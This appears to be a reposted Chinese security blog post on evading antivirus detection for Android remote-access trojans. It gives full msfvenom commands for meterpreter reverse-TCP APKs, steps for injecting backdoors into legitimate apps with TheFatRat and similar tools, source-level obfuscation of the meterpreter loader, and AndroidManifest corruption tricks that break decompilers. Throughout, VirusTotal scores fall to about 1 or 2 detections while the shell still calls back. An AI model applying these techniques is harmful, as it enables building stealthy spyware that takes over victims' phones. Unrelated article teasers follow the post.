Android免杀小结

news2025/1/11 23:46:58

 

目录

msfvenom 自动生成

自带免杀

工具免杀

Thefatrat

backdoor-apk

old-fatrat

msfVenom嵌入式方法

venom

工具小记

加壳

源码免杀

加壳

源码混淆

数据通信

启动和运行方式修改

对抗反编译

反编译工具崩溃

ZIP文件格式对抗

ZIP通用位伪加密

AndroidManifest.xml

AndroidManifest 组合权限判断

AndroidManifest 幻数

stringPoolSize陷阱

对抗反编译小结

参考链接

                                           hack渗透视频教程,扫码免费领


免杀练习两年半

VT检测 https://www.virustotal.com/gui/home/upload

msfvenom 自动生成

查看一下msfvenom里面的android木马

msfvenom -l payloads | grep android

图片

使用 android/meterpreter/reverse_tcp

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=10008 R > black.apk

图片

直接使用msfvenom生成的病毒APK,丢到VirScan里面

图片

10/46 , 蒽....这也行virustotal检查,26/64....

图片

自带一部分免杀效果

自带免杀

msfvenom自带有免杀,接下来使用自带工具进行简单免杀查看msf自带编码器

msfvenom --list encoders

图片

这两个效果是最好的

图片

虽然这个是x86的,但是也能兼容在APK中,编码一次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai R > black_1.apk

图片

现在是 9/59

图片

编码20次

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -e x86/shikata_ga_nai -i 20 R > black_2.apk

图片

跟编码一次效果一致

图片

使用 -b 特征码无效

图片

使用多重编码,增大免杀概率

msfvenom --platform Android -p android/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=10008 -a dalvik --encoder x86/call4_dword_xor --iterations 5 --encoder x86/countdown --iterations 4 --encoder x86/shikata_ga_nai --iterations 3 -o encoded.apk

这里用到了 x86/call4_dword_xor,x86/countdown,x86/shikata_ga_nai 三个编码器

图片

没想到免杀效果反而变弱了,只能说是有的编码器特征已经被记录在了检测引擎里面,只要用了就会被检测到

工具免杀

APK免杀的工具好像比较少

Thefatrat

git clone https://github.com/Screetsec/TheFatRat.git
cd TheFatRat
chmod +x setup.sh && ./setup.sh

安装部署弄半天

图片

环境OK了之后运行

sudo ./fatrat

图片

进入程序主界面

图片

APK相关的就第五条,在原有的APK文件里面植入后门,这里的APK就用李跳跳吧额忘记这玩意加过壳了

图片

拿一个之前同事给我的没加壳的优酷

图片

这里有三个方法可以选择

  • 使用 Backdoor-apk 0.2.4a:Backdoor-apk 是一个用于在Android应用程序中嵌入后门的开源工具。它允许攻击者在现有的APK文件中插入恶意代码,以实现对目标设备的远程访问或控制。该方法依赖于 Backdoor-apk 工具的功能和特性,并且可以通过指定参数来自定义后门的行为。

不过这个项目也几年没更新了,原项目地址为 https://github.com/dana-at-cp/backdoor-apk

  • 使用旧的 Fatrat 方法:这是指使用旧版本的 TheFatRat 工具来创建后门。TheFatRat 是一个基于Metasploit框架的多合一工具,旨在简化后门的创建和利用。它提供了多种攻击向量和功能,包括生成恶意应用程序、创建恶意文档等。使用旧的 Fatrat 方法可能涉及使用过时的工具版本和技术。

这个方法应该就是fatrat内置的方法

  • 使用 MsfVenom 嵌入式方法:MsfVenom 是Metasploit框架中的一个强大工具,用于生成定制的恶意代码。嵌入式方法是指使用 MsfVenom 来生成恶意有效负载,并将其嵌入到合法应用程序或文档中,以创建后门。这种方法可以通过设置有效负载选项和参数来自定义后门的行为。

这里我们当然要把每种方式都试一下

backdoor-apk

图片

这里的权限文件是否要混淆,我建议保持原样,减少特征结果出现了这个问题

[!] Failed to recompile original project with backdoor

图片

单独下载backdoor-apk来进行测试 https://github.com/dana-at-cp/backdoor-apk ,还是存在这个问题,考虑是存在加壳或签名验证的问题,找一个本地自签名的APK丢上去试试(因为我试了一下无签名文件也会有问题

图片

在backdoor-apk/backdoor-apkoriginal/dist/ 目录下生成带后门的apk文件

图片

不过这个效果也不咋地,开源工具可以理解

图片

old-fatrat

拿一个选择old-fatrat

图片

把我之前的一个Android系统签名的APK放进去,生成成功

图片

在TheFatRat 文件夹下面会生成 app_backdoored.apk,不过在VT上面的效果并不理想

图片

msfVenom嵌入式方法

图片

蒽...让我更新apktool,现在最新的版本是2.8.1

图片

本地的apktool环境好像因为TheFatRat搞混乱了,第三种方式就跳过吧 懒得搞环境了~

venom

项目地址 https://github.com/r00t-3xp10it/venom

图片

当然是选择 4 Android / IOSagents 有三个可以选择的,这里我们选择APK后缀的 1

图片

后面就是一些常规设置 和 设置监听了

图片

/venom/output 里面的木马文件大小是0kb

图片

如果想要下载真实的木马文件需要本机访问浏览器下载,比如我前面写的IP是10.10.10.1,如果想要下载的话就是写虚拟机的IP

下载之后丢到VT 26/64

图片

工具小记

这样的结果很正常,因为这些工具很久没有更新了,其中的特征都被厂商加入特征库了,但是在工具刚出的时候,都是具有里程碑意义的,我们学习其中的原理即可

加壳

下载360加固助手 https://jiagu.360.cn/#/global/download结果被检测了 orz

图片

再尝试一下 https://github.com/woxihuannisja/Bangcle

java -jar Bangcle.jar b .\black_1.apk

也不行

图片

换一个APK,然后卡住了

图片

蒽....加壳其实可以过很多特征码检测的扫描工具,这里没有找到能直接用的就算了

源码免杀

要想进行源码免杀,就得先知道源代码做了什么其实也可以替换msfvenom生成木马APK的smail文件,但实际上特征还是在,如果想按照这种思路的话,先知上面之前有文章 https://xz.aliyun.com/t/2967创建一个什么都不做的Android项目,检查一下有没有误报

图片

编写Android app工程,把msfvenom里面的移植过来

图片

这部分其实是加载器代码

图片

想要在本地运行,配置文件需要写到 configBytes 列表里面,因为这个配置列表我不知道是怎么生成的,看注释里面好像是 metasploit-framework/lib/rex/payloads/meterpreter/config.rb 文件所以这部分直接跳过加密解密配置部分,稍微魔改一下

图片

这里会走入 if 分支,所以我们在这里魔改

图片

修改main方法

图片

投递到手机中启动

图片

查看是否为我们的机器

图片

对比PID一致

图片

换一个有杀毒软件的手机

图片

图片

这个时候的APK放到VT上面是 8/64

图片

加壳

把源码拿出来之后,预感就可以过360加壳的检测了,果不其然

图片

估计之前的检测也是通过msfvenom生成APK的包名之类的特征来检测的丢到GDA里面可以看到是成功加壳了

图片

这个时候丢到VT上面,居然还是 8/66,沉默了家人们

图片

虽然有自动脱壳的可能性,但是这样计算量太大了,我感觉不会这么快就解出来去除xml里面的这部分内容,主要是感觉这个特征太明显了

图片

依旧这样

图片

再改改XML里面的各个参数值,stage改成lib引用

图片

发现VT里面有的是检测到了壳产生的告警

图片

打开一个正常的APK,丢到VT上面

图片

给它进行360加固,再丢到VT上面

图片

额....所以有的告警其实是360加固导致的,免费的360加固里面会存在特征文件,需要使用付费版才可以去除 orz

图片

  • ESET-NOD32

  • Fortinet

  • MaxSecure

看起来都是误报但是 K7GW 的特征是 Trojan ( 0052d2661 ),之前木马APK的特征它报的是 005983af1,暂且认为是有对于msf的特定检测

去除Android本身的权限校验,留下

<uses-permission android:name="android.permission.INTERNET" />

因为我们需要用这个权限来启动service,当然其他权限其实也可以留下来一部分,但是这里直接全部去掉

图片

加固

图片

按照我们之前说的360加固壳会出现误报,这里实际上只有三个工具检测是生效的

  • K7GW Trojan ( 0052d2661 )

  • Kaspersky

  • ZoneAlarm by Check Point

不影响攻击机获取shell,某些针对Android上的功能会受到影响

图片

源码混淆

源码混淆主要从两个方面进行,主工程代码和lib库混淆关于特征是在主工程还是lib库,我们可以在不引入lib库的情况下进行测试,而且lib库里面的代码实际上我们只有需要解析config和使用http通道的时候才会用到,当我们选择SOCKET的时候,是用不到lib库的(更加理所当然的去除掉它们

图片

结果依旧

图片

简单从下面几个方向进行修改:

数据通信

先把socket通信去掉

图片

依旧

图片

所以这部分可以直接跳过了,直接修改启动和运行方式

启动和运行方式修改

这个部分其实比较抽象抛砖引玉吧,如果你想让自己的字迹不被别人看出来,最好的方法是用你的左手写代码也是同理,刚好GPT写代码很死板,这个任务丢给它刚好

图片

以此类推,然后再删掉一些多余的代码,比如findContext()等等,在不考虑性能的情况下,把全局变量和局部变量换一下位置在不加壳的情况下 1/64,依旧能够上线

图片

图片

最后加个壳,反而变多了,之前检测出木马的Antiy现在没有告警了,可以理解为已经绕过了这四个检测我们前面提到过,都是针对加固的告警

图片

经过排查之后发现一个很搞笑的点,杀毒软件还检查 buildToolsVersion 和 minSdkVersion吗查了一下原因如下

  • 兼容性问题:minSdkVersion指定了APK所需的最低Android系统版本。恶意软件通常会选择较低的minSdkVersion,以便在更多设备上运行。杀毒软件会检查minSdkVersion,如果它较低且与APK的其他特征相匹配,就可能被认为是木马。

  • 安全漏洞:较旧的Android版本可能存在已知的安全漏洞或弱点,黑客和恶意开发者可能会利用这些漏洞来进行攻击。因此,一些杀毒软件会关注minSdkVersion,以便识别并阻止可能利用这些漏洞的恶意软件。

  • 平台限制:某些安卓功能、API或权限只适用于特定的Android版本或更高版本。恶意软件可能会试图突破这些限制来执行危险操作。通过分析minSdkVersion,杀毒软件可以判断APK是否使用了不适当或不合理的安卓功能,从而将其标记为潜在的木马。

实验步骤如下:现在minSdkVersion 为 28

图片

Antiy-AVL 告警 Trojan/Generic.ASMalwAD.B6

图片

修改为 30 (反正不等于28就行,我测试了一下26也可以),现在是 DrWeb 告警 Android.Siggen.Susp.4604

图片

这个告警经过排查修改布局库版本可以避免

图片

修改为

implementation 'androidx.constraintlayout:constraintlayout:2.1.4'

估计是跟某个木马的库版本匹配上了

图片

检查上线

图片

对抗反编译

对抗反编译是一门哲学

虽然前面我们已经很成功了,但是还是有一个遗憾,那就是我们删除了一些权限来进行免杀获取shell,权限文件存储在APK解压后的AndroidManifest.xml 文件里面

如果你跟我一样是一个爱读书的好孩子,在《Android软件安全与逆向分析》第十章中就专门花了一章的篇幅来提到 Android程序的反破解技术AV在静态检测的过程中,实际上跟软件逆向静态分析没有什么区别,所以我们在这部分进行一下AV对抗

反编译工具崩溃

大多数文章是通过反编译工具崩溃来实现对抗,但是这个方法具有版本限制,在新版本的工具上可能就没有这个问题了,比如对抗dex2jar,这里就不再赘述

ZIP文件格式对抗
ZIP通用位伪加密

修改ZIP通用位来进行伪加密,比如使用 ZipCenOp.jar这个工具这种方法对于android 4.2.x版本及以后系统已经不适用了,Android系统会拒绝这种加密apk的安装

AndroidManifest.xml

这一小节主要讲如何对 AndroidManifest.xml 进行操作实现杀毒软件突破

AndroidManifest.xml是白月光

AndroidManifest 组合权限判断

将上一节的免杀APK打开权限开关

图片

VT 现在是 3/65

图片

APK木马里面的某些功能一定是需要某个权限的,但是申请这些权限也不一定是恶意应用个人感觉是有部分误报了,重新创建一个新的项目,什么都不干只申请这些权限

图片

GPT也觉得这是正常权限

图片

无妨,猜测可能是组合权限判定,我们先删除某些权限删掉

<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

图片

当然这几个是我随便删的,组合权限判断很死板,也有可能删掉一两个权限就能达成免杀,现在再到VT上面 就变成了

图片

AndroidManifest 幻数

如果你跟我一样做过逆向,你会发现偶尔我们使用apktool 去逆向APK的时候会出错,因为AndroidManifest.xml文件里面某些字节出错了(导致apktool出错的可能很多,也可以是在Android代码里面留陷阱),总而言之,就是解析XML不成功,这样的情况下还想看到里面的权限列表当然是不可能的(但是APK是能正常运行的),我们利用这个特性给AV一点小小的震撼

链安上面有一篇这个文章 https://www.liansecurity.com/#/main/news/IPONQIoBE2npFSfFbCRf/detail,但是是从修复角度来看待的问题,我们需要的是

  • Android能够成功安装运行

  • 逆向软件不能解析AndroidManifest.xml

具体需要修改哪一位能阻碍逆向?本来我是想通过fuzz的方式来找到单位幻数,查资料的时候发现看雪上有师傅研究过https://bbs.kanxue.com/thread-272045.htm

AndroidManifest文件的幻数(Magic Number),即文件头为0x00080003。将其修改后,反编译工具就无法识别AndroidManifest文件,导致反编译失败

图片

重新打包为APK使用AndroidKiller反编译出错,这里的apktool版本是 2.4.1

图片

当然在这种情况下AndroidManifest.xml是看不了的

图片

使用GDA,这里的AndroidManifest文件显示为空

图片

但是当我使用2.8.1版本的apktool的时候,幻数这个问题就被修复了

图片

AndroidManifest.xml成功被分析

图片

对APK添加证书后安装,即便是存在幻数,也能够成功安装

图片

具体是为什么Android能解析,之前的反编译工具不行,需要看Android这部分的源代码

图片

如源码所示,没有验证前两个字节是否是 0x0003,只对 headerSize 的合法性做了验证,所以修改了之后安装没问题

stringPoolSize陷阱

修改字符串个数 stringCount 字段,导致跟实际对应不上,也会造成AndroidManifest.xml解析出现问题实际上这里是68,我们将stringCount 设置为69

图片

然后重新保存签名,这个时候最新的apktool也识别不了了

图片

但是我们能够正常安装运行,为了进一步验证正确性,看一下日志是否去外连我的恶意服务器了可以看到存在监听动作(报错请忽略,此时服务器没有开启监听),说明APK恶意代码部分没问题

图片

对抗反编译小结

因为写这篇文章的时间比较长,写到这里的时候发现卡巴斯基已经把源码混淆部分的特征加进去了,去除部分组合权限后的通过率是 2/65 orz

图片

因为我要做对抗反编译的对照实验,所以需要先把免杀降到0经过检查发现是这部分代码被加入了特征

private static String getJarPath(String path){
    String filePath = path + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
    return filePath + ".jar";
}

简单改一下

private static String a(String b){
    String randomNum = Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
    String c = b + File.separatorChar + randomNum;
    return c + ".jar";
}

龙王归位

图片

把之前注释掉的权限都开放,变成了 3/64

图片

因为感觉stringPoolSize陷阱效果比较好,这里就是用这个方法来阻碍分析

图片

跟之前一样 这里的apktool 反编译是被阻碍的

图片

VT上面的效果为 2/65,干扰了 Sophos 杀毒软件的判断

图片

参考链接

  • https://www.cnblogs.com/-qing-/p/11421735.html

  • https://www.freebuf.com/articles/network/249014.html

  • https://www.anquanke.com/post/id/86353

  • https://www.baichuanweb.cn/article/example-65

  • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

  • https://www.freebuf.com/articles/system/227462.html

  • https://anhkgg.com/aanti-virus/

  • https://misakikata.github.io/2018/09/%E5%85%B3%E4%BA%8EThefatrat%E5%85%8D%E6%9D%80%E4%BD%BF%E7%94%A8/

  • https://zone.huoxian.cn/d/1081-androidapp

  • https://cloud.tencent.com/developer/article/1472324

  • https://e0hyl.github.io/BLOG-OF-E0/COVID_Trojan/

  • https://bbs.kanxue.com/thread-272045.htm

原文地址: https://xz.aliyun.com/t/12893

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

                                 hack渗透视频教程,扫码免费领

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1080794.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

暴涨100万粉仅用一个月,B站内容趋势前线洞察

- 导语 在这个9月&#xff0c;B站涌现多位黑马UP主&#xff0c;有的UP主自入驻B站以来&#xff0c;一个月的时间就涨粉百万晋升为头部UP主&#xff0c;有的UP主因内容受到B站百万年轻人的追捧&#xff0c;展现账号爆发力。 接下来&#xff0c;飞瓜数据&#xff08;B站版&…

智慧工地:助力数字建造、智慧建造、安全建造、绿色建造

智慧工地管理系统融合计算机技术、物联网、视频处理、大数据、云计算等&#xff0c;为工程项目管理提供先进的技术手段&#xff0c;构建施工现场智能监控系统&#xff0c;有效弥补传统监理中的缺陷&#xff0c;对人、机、料、法、环境的管理由原来的被动监督变成全方位的主动管…

将 mysql 数据迁移到 clickhouse (最新版)

一、前驱知识 已经在mysql中插入了海量的数据了&#xff0c;这个时候mysql 承载不了这么大的数据&#xff0c;并且数据只需要查询&#xff0c;修改和删除非常少&#xff0c;并且不需要支持事务&#xff0c;这个时候需要换一个底层存储&#xff0c;这里选用的是 clickhouse 来进…

智能视频分析系统AI智能分析网关V3触发告警图片不显示该如何解决?

AI智能分析网关V3包含有20多种算法&#xff0c;包括人脸、人体、车辆、车牌、行为分析、烟火、入侵、聚集、安全帽、反光衣等等&#xff0c;可应用在安全生产、通用园区、智慧食安、智慧城管、智慧煤矿等场景中。将网关硬件结合我们的视频监控系统EasyCVR一起使用&#xff0c;可…

vue3插件——vue-web-screen-shot——实现页面截图功能

最近在看前同事发我的vue3框架时&#xff0c;发现他们有个功能是要实现页面截图功能。 vue3插件——vue-web-screen-shot——实现页面截图功能 效果图如下&#xff1a;1.操作步骤1.1在项目中添加vvue-web-screen-shot组件1.2在项目入口文件导入组件——main.ts1.3在需要使用的页…

对话天润云CEO吴强,未来所有企业都要用AI重构一遍 | AIGC入局者栏目

近日&#xff0c;铅笔道联合知乎&#xff0c;与天润云&#xff08;又称“天润融通”&#xff09;创始人兼CEO吴强先生深度交流&#xff0c;大模型如何提升客户联络效率以帮助企业完成变革。 吴强认为&#xff1a;“丰富、专业的语料决定了大模型的能力&#xff0c;企业生产过程…

小程序, 多选项

小程序, 多选项 <view class"my-filter-btnwrap"><block wx:for"{{archiveList}}" wx:key"index"><view class"my-filter-btnitem text-ellipsis {{item.checked ? active : }}" data-index"{{index}}" wx…

Vuex的同步存值与取值及异步请求

前言 1.概念 Vuex是一个用于管理Vue.js应用程序中状态的状态管理模式和库。Vue.js是一个流行的JavaScript框架&#xff0c;用于构建用户界面&#xff0c;而Vuex则专门用于管理应用程序的状态&#xff0c;以确保状态在整个应用程序中保持一致和可维护。 2.Vuex的特点&#xf…

uniapp-vue3微信小程序实现全局分享

uniapp-vue3微信小程序实现全局分享 文章目录 uniapp-vue3微信小程序实现全局分享微信小程序官方文档的分享说明onShareAppMessage(Object object)onShareTimeline() uniapp 官方文档的分享说明onShareAppMessage(OBJECT) 实现全局分享代码结构如下share.js文件内容main.js注意…

XML是不是主要用做配置文件?

2023年10月11日&#xff0c;周三下午 这几天发现tomcat的配置文件主要是用XML文件来写的&#xff0c; 于是就有了这个问题。 是的,XML非常适合用来做配置文件。 XML作为配置文件的主要优点: 可读性强。XML使用标签结构组织数据,内容清晰易懂。跨语言和跨平台。XML作为纯文本…

一站式新零售管理系统提供商,数字化收银系统与连锁门店运营优化

在数字化时代&#xff0c;连锁超市行业正面临巨大的转型压力。消费者对购物体验的需求不断提升&#xff0c;线上线下购物的融合趋势明显&#xff0c;同时物流、供应链和库存管理也变得越来越复杂。面对日益激烈的竞争和消费者需求的变化&#xff0c;连锁超市亟需通过数字化手段…

Linux:I/O 5种模型

图片来源&#xff1a;https://pdai.tech/md/java/io/java-io-model.html

手机APP也可以学习Sui啦,通过EasyA开启你的学习之旅

Sui基金会与EasyA合作&#xff0c;开发了一门面向初学者的Sui课程。这一适用于Android和iOS移动端的学习体验&#xff0c;是进入更广泛的Sui社区和生态系统的入口。在这门课程中&#xff0c;学习者将以有趣和互动的方式获得对Sui的基本了解&#xff0c;最终能够在测试网络上部署…

Qt如何实现动态背景-视频背景

前言 需求&#xff1a;加载视频作为视频背景&#xff0c;在上层可以进行图片的动画化&#xff0c;或是进行其他操作。 几种方法&#xff1a; 1、直接将视频弄成一个QDialog&#xff0c; 然后再上层在弄一个QDialog,背景透明即可。但遇到一个问题&#xff0c;QDialog没办法局…

深入探讨芯片制程设备:从原理到实践

&#x1f482; 个人网站:【工具大全】【游戏大全】【神级源码资源网】&#x1f91f; 前端学习课程&#xff1a;&#x1f449;【28个案例趣学前端】【400个JS面试题】&#x1f485; 寻找学习交流、摸鱼划水的小伙伴&#xff0c;请点击【摸鱼学习交流群】 在现代科技领域&#xf…

FPGA面试题(1)

一.FPGA内部结构 可编程I/OPLL锁相环&#xff08;其作用为&#xff1a;分频&#xff0c;倍频&#xff0c;相位调节、占空比&#xff09;逻辑阵列块LAB&#xff08;每个LAB由16个逻辑器件LE组成&#xff0c;每个LE包括一个查找表LUT和一个RAM构成。Cyclone IV EP4CE6F17C8中包含…

第十二章 磁盘管理

1. 磁盘简介 1.1. 概念 硬盘是由一片或多篇带有磁性的铝合金制的盘片构成&#xff0c;是 一种大容量、永久性的外部存储设备 组成&#xff1a;盘片、马达驱动、缓存、控制电路、接口 图&#xff1a; 1.2. 逻辑结构 磁道&#xff1a;由内到外的同心圆 扇区&#xff1a;半径组成…

jpsall脚本

当一个集群的节点数量增多时&#xff0c;使用jps查看每一个节点的进程这个过程非常繁琐&#xff0c;因此我们可以写一个jpsall脚本&#xff0c;使用循环迭代的方式&#xff0c;在多台远程主机上执行相同的命令&#xff0c;这样就可以节省在每台主机上手动执行命令的时间和精力。…

基于SSM+Vue的在线作业管理系统的设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用Vue技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…

如何获取standard cell各端口的作用

我正在「拾陆楼」和朋友们讨论有趣的话题&#xff0c;你⼀起来吧&#xff1f; 拾陆楼知识星球入口 翻阅std cell的data book即可&#xff0c;以MUX为例&#xff0c;data book会告诉你这个cell的功能是几选一的多路选择器&#xff0c;输入pin哪些是data input哪些是select inpu…